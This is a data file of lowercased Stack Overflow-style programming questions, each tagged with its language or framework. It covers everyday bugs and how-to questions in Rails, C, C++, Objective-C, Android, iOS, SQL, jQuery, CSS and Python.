rails undefined method  job_app   so i want to create the view: 1. for normal user  to see it job app status:   <pre><code>def index      @users ||= current_user     @job_apps = @users.job_app  end </code></pre>   it works perfectly on view. 2. trouble (job_app method undefined) : create view for admins so they can see all candidates:   <pre><code>def empl     @users = user.all.where(:user_type =&gt;  candidate )     @job_apps = @users.job_app.all end </code></pre>   note : without @job_apps i can see all the users as well.,ruby-on-rails
why type nsstring cannot be returned by value   why can t nsstring be retuned by value  why when we return an object of nsstring type we don t need to use symbol of pointer  while in declaration of function s returned type symbol of pointer is required:   <pre><code>nsstring* boolstring (bool yesno) {     if (yesno==no) {         return (@ no );     } else {         return (@ yes );     } } </code></pre>,objective-c
the simple transition of matrix but what went wrong  <pre><code>#include &lt;stdio.h&gt;  main(){     int a[3][2] = {0} ;      printf( a = \n );        for(int x = 0 ; x &lt; 3 ; x++){         for (int y = 0 ; y &lt; 2 ; y ++){             a[x][y] = (x+1)*1 + (x*1+3)*y ;              printf( a[%d][%d] = %d    x   y  a[x][y]);         }         printf( \n );     }        printf( \nat = \n );         for (int p = 0 ; p &lt; 2 ; p++){         for (int q = 0 ; q &lt; 3 ; q++){             a[p][q] = a[q][p];             printf( a[%d][%d] = %d    p  q   a[p][q]);         }         printf( \n );     } } </code></pre>   why does at[1][0] = 2 not 4     i have tested it for an hour for this simple question  but i have no idea.,c
store application preference android  i have added a mute button to a menu on my application and am wondering if it is possible to store the user s latest preference of either muted or unmuted for use when he/she reopens the application.      here is the code i am using for setting mute or umute:   <pre><code>public void ismute() {        if(mismute){               mam.setstreammute(audiomanager.stream_music  false);           mismute = false;        }else{           mam.setstreammute(audiomanager.stream_music  true);           mismute = true;       }     } </code></pre>,android
how to copy a specific field from a list of any classes in java   let s me start describe my problem.    i have a class  person  which is stored in mpeople list.  so it does mean that the mpeople will store both  name  and  age . but in a certain circumstance  i need a list of all people s name and a list of all people s age in different list.     so is there a way to copy all the data in a specific field of a class in a list to another list or somewhere else     <em>note: i know i can use for loop or enhance for loop to do this but it does not look so good through this. so just curious if someone found any better solutions... and i would appreciate your help!</em>   <pre><code>public class person {   // fields     private int age;     private string name;       // constructor     public person( int age  string name )     {         this.age = age;         this.name = name;     }       // getter     public int getage()     {         return age;     }      public string getname()     {         return name;     } }   //list of people list&lt;person&gt; mpeople = new arraylist&lt;&gt;(); mpeople.add( new person( 10   sovanara  ) ); mpeople.add( new person( 20   dara  ) ); </code></pre>,java
error compiling from cmd through mingw  codeblocks can compile and execute it  i have the next code  but when compiling from cmd with mingw errors appear.    <code>ultimo-&gt;siguiente = producto</code>    <code>for(producto=primer; producto != null ;producto = producto-&gt;siguiente)</code>    <code>siguiente = este-&gt;siguiente;</code>    <strong>warning assignment from incompatible pointer</strong> in these three lines shows the warning.    what is the problem   i included the code libraries  string.h  stdlib.h   <pre><code>typedef struct producto {     int codigo_producto;     char descripcion[20];     float precio_unitario;     struct producto *siguiente;  } t_producto;  float aplicar_iva(float precio_base); void eliminar_todo(t_producto*); void emitir_saludo(void); void imprimir_producto(t_producto); t_producto* leer_producto(void);  int main() {     t_producto *primer  *ultimo  *producto;     primer = null;     ultimo = null;      char decision;     int i  cantidad;     float total;      cantidad =0;     total = 0.0;      emitir_saludo();      while(1) //while infinito     {         do         {             printf( \nhay %d productos en el carrito. ¿quiere pasar otro producto  [s/n]:   cantidad);             decision = getchar();             while(getchar()==eof);         }while(decision !=  s  &amp;&amp; decision !=  s  &amp;&amp; decision !=  n  &amp;&amp; decision !=  n );          if(decision== n  || decision ==  n )         {             break;         }          producto = leer_producto();         if(primer == null) //si no hay ningun elemento         {             primer= producto;         }         if(ultimo != null) //si hay elemntos se le dice al ultimo que ya no es el ultimo         {             ultimo-&gt;siguiente = producto;         }         ultimo = producto;         cantidad++;     }     puts( \nproductos:\n );     for(producto=primer; producto != null ;producto = producto-&gt;siguiente)     {         imprimir_producto(*producto);         total += producto -&gt;precio_unitario;     }      printf( \ntotal deproductos: %d\n\n  cantidad);     printf( precio total sin iva: %.2f\n  total);     printf( precio total con iva: %.2f\n  aplicar_iva(total));     printf( \nbuenos dias.\n );      eliminar_todo(primer);      return 0;    }  float aplicar_iva(float precio_base) {     return precio_base * 1.21; }  void emitir_saludo(void) {     printf( \n* * * * * * * * * * * * * * * * * * );     printf( \n* *    programa supermercado    * *\n );     printf( * *  la calidad es lo primero   * *\n );     printf( * * * * * * * * * * * * * * * * * *\n ); }  void imprimir_producto(t_producto t) {     printf( %d %s %f\n  t.codigo_producto t.descripcion t.precio_unitario); }  t_producto* leer_producto(void) {     t_producto *p;     p = (t_producto*)malloc(sizeof(t_producto));     char entrada[80];      printf( \ncodigo producto:  );     fgets(entrada 10 stdin);     if(entrada[strlen(entrada)-1] ==  \n )     {         entrada[strlen(entrada)-1] =  \0 ;     }     p-&gt;codigo_producto = (int) strtol(entrada null 10);      printf( descripcion:  );     fgets(p-&gt;descripcion 20 stdin);     if(p-&gt;descripcion[strlen(p-&gt;descripcion)-1] ==  \n )     {         p-&gt;descripcion[strlen(p-&gt;descripcion)-1] =  \0 ;     }       printf( precio:   );     fgets(entrada 10 stdin);     if(entrada[strlen(entrada)-1] ==  \n )     {         entrada[strlen(entrada)-1] =  \0 ;     }     p-&gt;precio_unitario = strtof(entrada null);      p-&gt;siguiente = null;     return p; }  void eliminar_todo(t_producto* producto) {     t_producto *este  *siguiente;     este =producto;      while(este!=null)     {         siguiente = este-&gt;siguiente;         este-&gt;siguiente = null;         free(este);         este=siguiente;     } } </code></pre>   thanks in advance!,c
html table print large column  windows xp  ie 7    if the data in one of the column in table is more than say 800 bytes  it seems to print partial pages. previews also appears same (span into multiple partial pages).    what is the best way so that large number of rows with wide columns (fixed width) are printed properly without giving blank or partial page.    used table with thead and colgroup with width in 14%.,html
functors_sort:vector  i have this class:   <pre><code>class qsweep{  public: qsweep(const vector&lt; vector&lt;double&gt; &gt;&amp; mypoints  const vector&lt; vector&lt;int&gt; &gt;&amp;myedges);  void intersection(vector&lt; vector&lt;double&gt; &gt;&amp; mypoints  vector&lt; vector&lt;int&gt; &gt;&amp; myedges); vector&lt; vector&lt;int&gt; &gt;* sortedges(vector&lt; vector&lt;double&gt; &gt;&amp; mypoints  vector&lt;vector&lt;int&gt;&gt;&amp; myedges);  bool sortx(const vector&lt; vector&lt;int&gt; &gt;&amp; edge1  const vector&lt; vector &lt;int&gt; &gt;&amp; edge2) { return edge1[0][0]&lt; edge2[0][0]; }; private: vector&lt; vector&lt;double&gt; &gt; mypoints_; vector&lt; vector&lt;int&gt; &gt; myedges_; }; </code></pre>   the constructor creates the desired data structure in this way:   <pre><code>qsweep::qsweep(const vector&lt; vector&lt;double&gt; &gt;&amp; mypoints  const vector&lt; vector&lt;int&gt;&gt;&amp;   myedges){ mypoints_=vector&lt; vector&lt;double&gt; &gt; (mypoints.size()  vector&lt; double &gt;(3 0)); for (unsigned int i=0;i&lt;mypoints.size();i++){ mypoints_[i][0]=mypoints[i][0]; mypoints_[i][1]=mypoints[i][1]; mypoints_[i][2]=mypoints[i][2]; }  myedges_=vector&lt; vector&lt;int&gt; &gt; (myedges.size()  vector&lt; int &gt;(2 0)); for (unsigned int i=0;i&lt;myedges.size();i++){ myedges_[i][0]=myedges[i][0]; myedges_[i][1]=myedges[i][1]; } } </code></pre>   giving e.g: mypoints={{1.0 1.0 2.0} {18.0 4.0 2.0} {5.0 1.0 2.0}}; myedges={{0 1} {1 2} {0 2}};    i want to have a sort function for myedges 2-dimensional vector depending on the first coordinate of mypoints given by myedges[i][0].e.g after sorting myedges would become myedges={{0 1} {0 2} {1 2}} because mypoints[myedges[1][0]][0]   i tried:   <pre><code> bool sortx(const vector&lt;int&gt; &amp; edge1 const vector&lt;int&gt; &amp; edge2) {  return mypoints_[edge1[0][0]&lt; mypoints_[edge2[0][0];  }; </code></pre>   in the public member of qsweep with the call:   <pre><code>int main(){ ... sort(myvector1.begin() myvector1.end() sortx); } </code></pre>   but i keep having the same error (even if i modified something): sort.cpp: in static member function  static bool qsweep::sortx(const std::vector >&amp;  const std::vector >&amp;) : sort.cpp:47: error: invalid use of member  qsweep::mypoints_  in static member function sort.cpp:25: error: from this location sort.cpp:47: error: invalid use of member  qsweep::mypoints_  in static member function sort.cpp:25: error: from this location sort.cpp: in function  int main() : sort.cpp:106: error:  sortx  was not declared in this scope    then i tried to write a functor for my class (which i never worked with before): the functor is:   <pre><code>class order{ public: qsweep* o; //vector&lt; vector&lt;double&gt; &gt; mypoints_; bool operator() (const vector&lt;int&gt;&amp; edge1  const vector&lt;int&gt;&amp; edge2){ return o-&gt;mypoints_[edge1[0]][0]&lt;o-&gt;mypoints_[edge2[0]][0]; } }; </code></pre>   and i defined it outside the class qsweep. and i call the functor in the main program as:   <pre><code>sort(myvector1.begin() myvector1.end() order()); </code></pre>   the program compiles but i get an bus error message: ./sort 1 2 2 3 1 3 bus error    oii so definitely my functor is not good.. should i initialize the object of class qsweep somehow. i do not understand how this functor will know to use exactly mypoints_ elements from qsweep class..    thank you in advance  madalina   <hr>   qsweep is an object of the qsweep class the one initialized in the program no. i use in my main program:   <pre><code>.... qsweep* s= new qsweep(myvector  myvector1); .... </code></pre>   using so this initialization for o in the class order  the program compiles and runs with the call:   <pre><code>sort(myvector1.begin() myvector1.end() order(s)); </code></pre>   and the sorting is performed only in regard to the first components of mypoints_ (as i really needed to do) for this sweep algorithm.    thank you very much for your help! (i was starting to be really confused)  madalina,c++
segmentation fault when using strupr(...) with gcc compiler  when run following code after compiling on gcc i get segmentation fault.    <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main(void) {     struct emp     {         char *n;         int age;     };      struct emp e1={ david  23};     struct emp e2=e1;     strupr(e2.n);     printf( %s\n%s\n  e1.n e2.n);     return(0); } </code></pre>,c
sending sms to multiple contacts stored in a textview  here  i have created a textview and i stored multiple contacts in that textview and then i have passed this textview values through intent to an another activity.now i want to send sms to multiple contacts which are stored in that received textview..and i have done this by using the following codes below..but the problem is that i could send only to the first number stored in that textview..so please suggest some alternative codes to send it to all the stored contacts .    here is my code..   <pre><code>bundle bundle=intent2.getextras(); final string getudisp=bundle.getstring( invisiblenum );  string number =getudisp; sendsms(number  message);  private void sendsms(string number  string message) {      intent sentintent = new intent(intent_action_sent);     pendingintent pendingsentintent = pendingintent.getbroadcast(this              request_code_action_sent  sentintent              pendingintent.flag_update_current);      intent deliveryintent = new intent(intent_action_delivery);     pendingintent pendingdeliveryintent = pendingintent.getbroadcast(this              request_code_action_delivery  deliveryintent              pendingintent.flag_update_current);      smsmanager smsmanager = smsmanager.getdefault();      // second parameter is the service center number. use null if you want     // to use the default number     smsmanager.sendtextmessage(number  null  message  pendingsentintent              pendingdeliveryintent); }  @override protected void onpause() {     super.onpause();     unregisterreceiver(smssentdeliveredreceiver); }  @override protected void onresume() {     super.onresume();     intentfilter filter = new intentfilter(intent_action_sent);     filter.addaction(intent_action_delivery);      registerreceiver(smssentdeliveredreceiver  filter); }  private void initializereceivers() {     smssentdeliveredreceiver = new broadcastreceiver() {          public void onreceive1(context context  intent intent) {             processbroadcasts(intent);         }          @override         public void onreceive(context arg0  intent arg1) {             // todo auto-generated method stub          }     }; }  private void processbroadcasts(intent intent) {     string action = intent.getaction();     log.i(tag   received:   + action);      if (action.equals(intent_action_sent)) {         bundle bundle = intent.getextras();         // need to check for error messages         log.i(tag   message: sent );         toast.maketext(this   message sent   toast.length_long).show();     } else if (action.equals(intent_action_delivery)) {         bundle bundle = intent.getextras();         set&lt;string&gt; keys = bundle.keyset();         // need to check for error messages         log.i(tag   message: delivered );         toast.maketext(this   message delivered   toast.length_long).show();     } } </code></pre>,android
simpler way to check and call overloaded method <pre><code>private void somemethod(deriveda something) {...} private void somemethod(derivedb something) {...} private void somemethod(derivedc something) {...}   baseclass bc = somevariable; if (bc is deriveda) somemethod(bc as deriveda) else if (bc is derivedb) somemethod(bc as derivedb) else if (bc is derivedc) somemethod(bc as derivedc) ... else if (bc is derivedzz) somemethod(bc as derivedzz) </code></pre>   in .net 3.5  there has got to be a simpler way  no,c#
now playing  play/pause  button image  in the multimedia controls (in the multitasking ui) the  play  button always show the pause image even when the music is paused  everything works fine except this    this problem don t happen if the background audio comes from the music app (i.e. the button image switch from play to pause and vice-versa as expected)    how to fix     thanks,ios
sql queries on string columns - sorting according to language  i have a column of name  varchar(200). in this column data can be filled in hebrew and english.    i have code that does queries on this db  i want to have the option to sort the results - first hebrew and then english - and the other way as well.    how can it be done  if at all...,sql
personalize file upload popup window <pre><code>&lt;input type= file  name= somename  /&gt; </code></pre>   i want to personalize the popup window by showing a message in the filename file. which opens on the click of browse button of <code>&lt;input&gt;</code> type file.,html
pulling specific data from php file  essentially  i have pulled the text from a url and need to find a way to pull specific characters from the text.    the line i need pulled from is:   <pre><code>&lt;p align= center &gt;&lt;a href= http://sitexplosion.com/ rid=1256  target= _blank &gt;http://sitexplosion.com/ rid=1256&lt;/a&gt;&lt;/p&gt; </code></pre>   the text i need pulled is essentially the number 1256  basically everything after  rid= and before   target= _blank >    that number will change and will be anywhere from 1 to 6 characters in length.     if something like this has been posted already  i apologize. i have been scouring the net for the last 3 hours trying to find an answer of some sort.    if you can show me how to pull those characters from that line  i have got the rest already going.    thanks in advance!,php
screen shots for app store submission <ol> <li>do i have to submit both portrait and landscape screenshots  </li> <li>is it fine for my app to only support portrait mode </li> </ol>,iphone
why my application is started automatically after install  i m new to ios programming.    currently working on an enterprise application which is downloaded from the web and suppose to be activated with a url schema.    when the download and install process is completed the application is started <strong>automatically</strong> by ios without the url schema and without the user activating the application. at this stage the application is asking the user to activate it with a schema but this alert is not being displayed  nighter the application main view. double click the home button display the splash screen of my application together with other running apps.    when the user press the registration link:    <code>applicationwillenterforeground</code> is being called.    <code>openurl</code> is being called.    <code>didfinishlaunchingwithoptions</code> is <strong>not</strong> being called.    the application display the register with link (the alert that was not displayed earlier) and exit.    my questions:   <ol> <li>why my application is starting automatically   [edit] forgot to mention that this is a voip application so ios gives us a chance to set up the connection.</li> <li>how come the alertview is not being displayed  </li> <li>is there a way to prevent it  </li> <li>if there is no way to prevent it  is there a way to detect this state </li> </ol>   i m using xcode 5 and ios7 on iphone 4 (but saw this behaviour on other devices as well).    thanks   yaron,ios
ruby on rails  what are the keys inside parameter object   i would like to ask what are the list of keys in the <code>params</code> object. code from rails guide:   <pre><code>def destroy     @article = article.find(params[:article_id])     @comment = @article.comments.find(params[:id])     @comment.destroy     redirect_to article_path(@article)   end </code></pre>,ruby-on-rails
how to restrict storage of files in browser temporary directory   i am trying to insert records into database through asp.net web form and am also maintaing logs like how many records inserted  how many records rejected and also maintaing rejection reason in for each record. i am writing all these statistics to a txt file say logs.txt which stores in the server.    i am displaying stored log file logs.txt to user on the browser like <a href= http://mywebsite.com/logs/logs.txt  rel= nofollow >http://mywebsite.com/logs/logs.txt</a>    log file is displaying properly in the browser but same file getting stored in temporary location (windows/tempporaryinternetfiles) of a browser. my tester has raised defect as sensitive data gets storing in temporary location.    now i want to restrict storage of log file in broswer temporary location.,asp.net
why can you call the base version of a method from the override version of the same method  i m confused why c# is letting me do this:    <strong>base class</strong>   <pre><code>public virtual void onresultexecuted(resultexecutedcontext filtercontext) {  } </code></pre>   <strong>derived class</strong>   <pre><code>public override void onresultexecuted(resultexecutedcontext filtercontext) {     base.onresultexecuted(filtercontext); } </code></pre>   this code works with no problem. but how is it calling base.onresultexecuted when that is the method i am overriding,c#
how to disable chrome translation bar on my website  i have one client data management website. if i run my website in chrome and right click translate to english  it s change my client name (ex. if name is sourashi chrome change is to sourav). how can i disable or remove translate to english in chrome for my website  this doesn t work   <pre><code>&lt;meta name= google  content= notranslate  class=notranslate /&gt; </code></pre>,html
javascript not showing for slick gem  i have installed the jquery-slick-rails gem with following git : <a href= https://github.com/bodrovis/jquery-slick-rails  rel= nofollow >https://github.com/bodrovis/jquery-slick-rails</a>    now i have the folowing files     <strong>assets/javascripts/application.js</strong>   <pre><code>//= require jquery //= require jquery_ujs //= require turbolinks //= require_tree . //= require jquery.slick </code></pre>   <strong>assets/stylesheets/application.css</strong>   <pre><code>/*  *= require headerandfooter  *= require_self  *= require slick  */  +bits of css here ... </code></pre>   <strong>but i can t see any javascript for this gem on my page.</strong> only js on my page is :    <pre><code> &lt;script src= /javascripts/default.js  data-turbolinks-track= true &gt;&lt;/script&gt; </code></pre>   for information here is my <strong>views/layouts/application.html.erb</strong> i haven t modifie yet (not advised on github page):    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;title&gt;&lt;/title&gt;   &lt;%= stylesheet_link_tag     application   media:  all    data-turbolinks-track  =&gt; true %&gt;   &lt;%= stylesheet_link_tag     headerandfooter   media:  all    data-turbolinks-track  =&gt; true %&gt;   &lt;%= stylesheet_link_tag    params[:controller]  media:  all    data-turbolinks-track  =&gt; true %&gt;   &lt;%= javascript_include_tag  default    data-turbolinks-track  =&gt; true %&gt;   &lt;%= csrf_meta_tags %&gt;    &lt;!--[if lt ie 9]&gt;   &lt;script src= //cdnjs.cloudflare.com/ajax/libs/html5shiv/r29/html5.min.js &gt;   &lt;/script&gt;   &lt;![endif]--&gt;    &lt;/head&gt; &lt;body&gt;  &lt;%= yield %&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,ruby-on-rails
brightness without opengl call  i am performing brightness on uiimage with following src code ref. when i check this code with instrument  getting memory leak of 1 mb for each brightness call. i am changing brightness with slider. after debugging come to know       <pre><code>cfdataref dataref=cgdataprovidercopydata(cgimagegetdataprovider(ainputimage.cgimage)); </code></pre>   is taking a memory  can anyone help me to optimize this code.   <pre><code> // ## brightness without open gl call      cgimageref brightness(uiimage* ainputimage  float afactor)     {         cgimageref img=ainputimage.cgimage;          cfdataref dataref=cgdataprovidercopydata(cgimagegetdataprovider(ainputimage.cgimage));           uint8 *data=(uint8 *)cfdatagetbyteptr(dataref);          int length=cfdatagetlength(dataref);          // perform operation on pixels         for(int index=0;index&lt;length;index+=4)         {             // go for brightness             for(int i=0;i&lt;3;i++)             {                 if(data[index+i]+afactor&lt;0)                 {                     data[index+i]=0;                 }                 else                 {                     if(data[index+i]+afactor&gt;255)                     {                         data[index+i]=255;                     }                     else                     {                         data[index+i]+=afactor;                     }                 }             }         }          // .. take image attributes         size_t width=cgimagegetwidth(img);         size_t height=cgimagegetheight(img);         size_t bitspercomponent=cgimagegetbitspercomponent(img);         size_t bitsperpixel=cgimagegetbitsperpixel(img);         size_t bytesperrow=cgimagegetbytesperrow(img);          // .. do the pixel manupulation         cgcolorspaceref colorspace=cgimagegetcolorspace(img);         cgbitmapinfo bitmapinfo=cgimagegetbitmapinfo(img);         cfdataref newdata=cfdatacreate(null data length);         cgdataproviderref provider=cgdataprovidercreatewithcfdata(newdata);          // .. get the image out of this raw data         cgimageref newimg=cgimagecreate(width height bitspercomponent bitsperpixel bytesperrow colorspace bitmapinfo provider null true kcgrenderingintentdefault);          // .. prepare the image from raw data         uiimage* rawimage = [[uiimage alloc] initwithcgimage:newimg];          // .. done with all so release the references         cgimagerelease(newimg);         cgdataproviderrelease(provider);         cfrelease(dataref);          return rawimage.cgimage;     } </code></pre>   thanks     sagar,iphone
find duplicates in pairs in mysql  i want to know how can i find duplicate value in a table over two columns combined.    suppose my table has fields as <code>id || name || father_name || region || dob</code>    now how can i find results set such as:    <a href= https://i.stack.imgur.com/qbwpo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qbwpo.png  alt= enter image description here ></a>    .ie i want to find all rows where three columns are same.,mysql
what is the use of the line [super loadview]  i just wanted to know whether i am write or not i have been working with iphone technology for about 4 months and the only piece of code that i write in the loadview method is to add some views like the buttons labels etc to the current instance of the viewcontroller class so that when i use its view property all those views are added to the window. but the piece of line that really bugs me is   <pre> [super loadview]; </pre>   what is the use of this method all i came to know from diff sites is that  if i don t use this method my app will crash  that s not a reason i am looking for  so i made a virtual concept that this line might give us a black instance of uiview and then we add all the views <pre>[self.view addsubview:btn];</pre> to the view provided to us by this line.    so all i wanted to know is that am i right or wrong  i think the <pre>[super loadview];</pre> line does more than that can anyone give me a detailed explanation or provide me a link from where i can refer this concept.,objective-c
multiple headers in accordian  i have an accordian in my aspx page:   <pre><code>&lt;asp:accordion id= acrdodlleadactivities  runat= server                                   selectedindex= 0  headercssclass= accordionheader                                   contentcssclass= accordioncontent  autosize= none                                  fadetransitions= true  &gt;&lt;/asp:accordion&gt; </code></pre>   i need to add multiple header in accordian   <pre><code>acdpne.headercontainer.controls.add(new literalcontrol(objlead.strleadstatus + i)); acdpne.headercontainer.controls.add(new literalcontrol(objlead.strsalesmanname + i)); </code></pre>   how can i seperate  strleadstatus   and  strsalesmanname   (add space between them or give style for it),c#
how to make the error messages form only appear when actual error messages are generated  i m following the railsspace tutorial. my error form is being displayed always. it s always on! i don t know how to make it go away. i know that using @user.errors.clear will actually clear the messages. i tried using it in the view but no error messages will display at all. i appreciate your help.    here is the error form code:   <pre><code>&lt;% if @user.errors.any  %&gt; &lt;div id= errorexplanation &gt;   &lt;h2&gt;please fix the following &lt;%= pluralize(@user.errors.count   error ) %&gt;:&lt;/h2&gt;    &lt;ul&gt;     &lt;% @user.errors.full_messages.each do |msg| %&gt;     &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;     &lt;% end %&gt;   &lt;/ul&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre>   here is my controller:   <pre><code>class usercontroller &lt; applicationcontroller    def index     @title =  nubemart hub!    end    def register    @user = user.new     @title =  register      if request.post         @user = user.create(ad_params)     end        if @user.save          flash[:notice]= user #{@user.screen_name} created!          redirect_to :action=&gt; index        end    end    def ad_params     params.require(:user).permit(:screen_name  :email  :password)   end  end </code></pre>   and here is my view:   <pre><code>&lt;h2&gt;register&lt;/h2&gt;  &lt;%= form_for :user do |form| %&gt;    &lt;%= render  shared/form_errors   :user =&gt; @user %&gt;   &lt;fieldset&gt;     &lt;legend&gt;enter your details&lt;/legend&gt;      &lt;div class= form_row &gt;       &lt;label for= screen_name &gt;screen name:&lt;/label&gt;       &lt;%= form.text_field :screen_name                            :size =&gt; user::screen_name_size                            :maxlength =&gt; user::screen_name_max_length %&gt;     &lt;/div&gt;      &lt;div class= form_row &gt;       &lt;label for= email &gt;email:&lt;/label&gt;       &lt;%= form.text_field :email                            :size =&gt; user::email_size                            :maxlength =&gt; user::email_max_length %&gt;     &lt;/div&gt;      &lt;div class= form_row &gt;       &lt;label for= password &gt;password:&lt;/label&gt;       &lt;%= form.password_field :password                                :size =&gt; user::password_size                                :maxlength =&gt; user::password_max_length %&gt;     &lt;/div&gt;      &lt;div class= form_row &gt;       &lt;%= submit_tag  register!   :class =&gt;  submit  %&gt;     &lt;/div&gt;   &lt;/fieldset&gt;  &lt;% end %&gt; </code></pre>,ruby-on-rails
warning on using getline() in c <pre><code>int bytes_read; int nbytes = 100; char *name;  name = (char *) malloc (nbytes + 1); bytes_read = getline (&amp;name  &amp;nbytes  stdin);  /* warning message when compiled    warning: incompatible pointer types passing  int *  to    parameter of type  size_t *  (aka  unsigned long * )    [-wincompatible-pointer-types]    ...bytes_read = getline (&amp;name  &amp;nbytes  stdin);                                    ^~~~~~~ */ </code></pre>   i am trying to use getline() function in c. it ran good when compiled but there is a warning.  why there is a warning  i cant figure it out.,c
dynamic row add & remove to table with jquery  i was searching google for dynamically row add &amp; remove. i got a code but i think it will solve my purpose.   <h2>code i got</h2>  <pre><code>&lt;table id= table1 &gt;     &lt;tr&gt;         &lt;td&gt;             &lt;img src= expand.gif  id= imgexpandcollapse  alt= abc  style= cursor:pointer  /&gt;         &lt;/td&gt;         &lt;td&gt;             name : keith         &lt;/td&gt;         &lt;td&gt;             desig : manager         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt;  $(document).ready(function() {         var b = true;         $( #imgexpandcollapse ).click(function() {              if (b) {                 this.src =  collapse.png ;                 b = false;                 $( #table1 ).append( &lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;name : abc&lt;/td&gt;&lt;td&gt;desig : xyz&lt;/td&gt;&lt;/tr&gt; );             }             else {                 this.src =  expand.gif ;                 b = true;                 $( #table1 tr:last-child ).remove();             }         });     }); </code></pre>   suppose i have table with 5 rows and when user click on the image which is on 2nd rows then i want to add a row dynamically just after 2nd row but before 3rd row. so new row will become 3rd row and when user click again on the image then the new row added will be removed.    from the above code will not solve my purpose. so how to achieve it by jquery. thanks    i found trick to fulfill my objective.   <pre><code>            $(document).ready(function () {             $( table#table1 tr ).click(function () {                 var $tr = $(this).closest( tr );                 var myrow = ($tr.index() + (++counter));                 //alert( row   + myrow);                 $(this).after( &lt;tr onclick= javascript:addrow(); &gt;&lt;td&gt;  + myrow +  )&amp;nbsp;&lt;/td&gt;&lt;td&gt;&lt;img src= images/closelabel.png  id= imgexpandcollapse  alt= abc  style= cursor:pointer /&gt;&lt;/td&gt;&lt;td&gt;name : new one&lt;/td&gt;&lt;td&gt;desig : ceo&lt;/td&gt;&lt;/tr&gt; );              });               $( .myimg ).click(function () {                 $(this).closest( tr ).next().remove();                 return false;             });         }); </code></pre>,jquery
css floating div   this isn t that big of an issue but its been bugging me    i wanted the div in the center of the top of the page  but the code i have won t let it stay there when the user scrolls. any ideas on how to fix this    <pre><code>background: none repeat scroll 0 0 #2b88c2;     border: 1px solid rgba(0  0  0  0.3);     bottom:0px;     font-family: arial  helvetica  sans-serif;     height: 55px;     padding-top: 10px;     padding-bottom: 5px;     position: top-fixed;     text-shadow: 1px 1px 1px #000000;     width: 70%; } </code></pre>,css
check in viewwillappear for tab clicks before refreshing  i have 4 tabs in my application  one of my tab loads a uiwebview which loads remote html contents. i have code to refresh content in  viewwillappear  which will refresh the content when you navigate between tabs so far so good.    here is my problem:   <ul> <li>when i click on tab 1 ( uiwebview) and load an html form which has file upload input field as shown in the screen cap  upon clicking  choose file  from html form will trigger actionsheet ( shown below)   take photo/video    this will launch the camera after taking the picture and selecting it will force the uiwebview to refresh ( as the code to refresh is in <strong>viewwillapper</strong> which will trigger the refresh when coming from camera)  which is not right as i don t want my view to refresh when coming from camera  can someone suggest if there is a way to check in viewwillapper if you are coming from camera/gallery or by clicking on tab. thnx.</li> </ul>   <img src= https://i.stack.imgur.com/fxebt.png  alt= webview screen cap >,ios
how should you handle a background task when the app moves to the background but then back into the foreground before the task completed   my application downloads bundles of content from a server and i want that downloading to continue while the app is in the background. but i was wondering the correct way to deal with a task and its assoicated uibackgroundtaskidentifier when the app moves to the background but before the task completes  the app moves into the foreground again.    i have a model class which does the downloading (using nsurlconnection) and it has a uibackgroundtaskidentifier property  the model has registered with the notification center for uiapplicationdidbecomeactivenotification and uiapplicationdidenterbackgroundnotification.    i was thinking of calling beginbackgroundtaskwithexpirationhandler: in the notification handler for uiapplicationdidbecomeactivenotification because the downloading starts when the app is in the foreground  then when the app moves to the background as beginbackgroundtaskwithexpirationhandler has already been called before the downloaded starts i don t need to do anything  and the downloading should continue in the background.    the call to beginbackgroundtaskwithexpirationhandler assigns the uibackgroundtaskidentifier to the model s property.    if the task is finished while in the background  or it runs out of time before it finishes then i ll call endbackgroundtask with the model s uibackgroundtaskidentifer. then the next time the app enters the foreground beginbackgroundtaskwithexpirationhandler will be called again and a fresh uibackgroundtaskidentifier will be generated and assigned to the model s property.    but my quesion is what should i do if the application moves to the background and then returns to the foreground before the task finished  if i don t do anything special to handle this situation then behginbackgroundtaskwithexpirationhandler will be called again and the old value of the uibackgroundtaskidentifier property will be overwritten. i presume this is bad  and therefore before calling beginbackgroundtaskwithexpirationhandler a 2nd time do i need to call endbackgroundtask if necessary  or is there a cancel method  or some recommended best practice     tia,ios
calling methods on objects of type id  when i m trying to call a method on an object of type id  i get a warning raised (method not found). of course not  but isn t that the sense of an id object       is there a way to <strong>tell the compiler:<br>  you don t now the class of the object on which i am calling this method  but don t worry  i m sure it does implement it! </strong>,objective-c
iphone:timer pause and resume   my game application is having a timer(starting from 0:00 then increases) when it is is running. for that i use  nstimer and then int hrval = (timecount/60)*60;     int minval = ((timecount/60)*60)+9; etc code.    at some point of time  lets say user wins one level  i am showing a winning alert  at this point of time  i need to pause the timer and resume again once user clicked ok button from this alert. is it possible to do that and how      i would appreciate if some one help me on this !    thanks.,iphone
python nameerror: name  lix  is not defined <pre><code>dictx1 = {} dictx2 = { c :[ d   a ]  sxz :[ w   l ]} dictx3 = { c :[ 3   4 ]  sxz :[ 3kl   e   s ]} </code></pre>   i want to merge dictx2 and dictx3 to dictx1 and get the output as  { c : [ d    a   3   4 ]   sxz : [ w    3kl    l    e   s ]}     i wrote below code   <pre><code>dictx1 = {} dictx1 = dictx2.copy() ds= [dictx1  dictx3] for i in dictx2.keys():     dictx1[i] = list(lix[i][x] for x in range(len(lix[i]) for lix in ds) </code></pre>   error:     dictx1[i] = list(lix[i][x] for x in range(len(lix[i])) for lix in ds) nameerror: name  lix  is not defined    but it already there with the  for lix in ds . i can write the code as below to get the same answer. but i want to know what s wrong with the above one line for code   <pre><code>s=[] </code></pre>   for i in dictx2.keys():   <pre><code>for li in ds:     for x in range(len(li[i])):         s.append(li[i][x])  dictx1[i] = s  s = [] </code></pre>   print (dictx1),python
how to create bar chart using progress bar in angularjs   i am new to angularjs and i am trying to create a bar chart using progress bar in angularjs for my below value.    <strong>my response will be :</strong>   <pre><code>var json_response =  {     data : [     {        standard :  ist          max_students : 20         available_students : 8     }      {        standard :  iind          max_students : 15         available_students : 10     }      {        standard :  iiird          max_students : 50         available_students : 22     }   ] } </code></pre>   i need to use above response and display it in a form of vertical bar chart.,angularjs
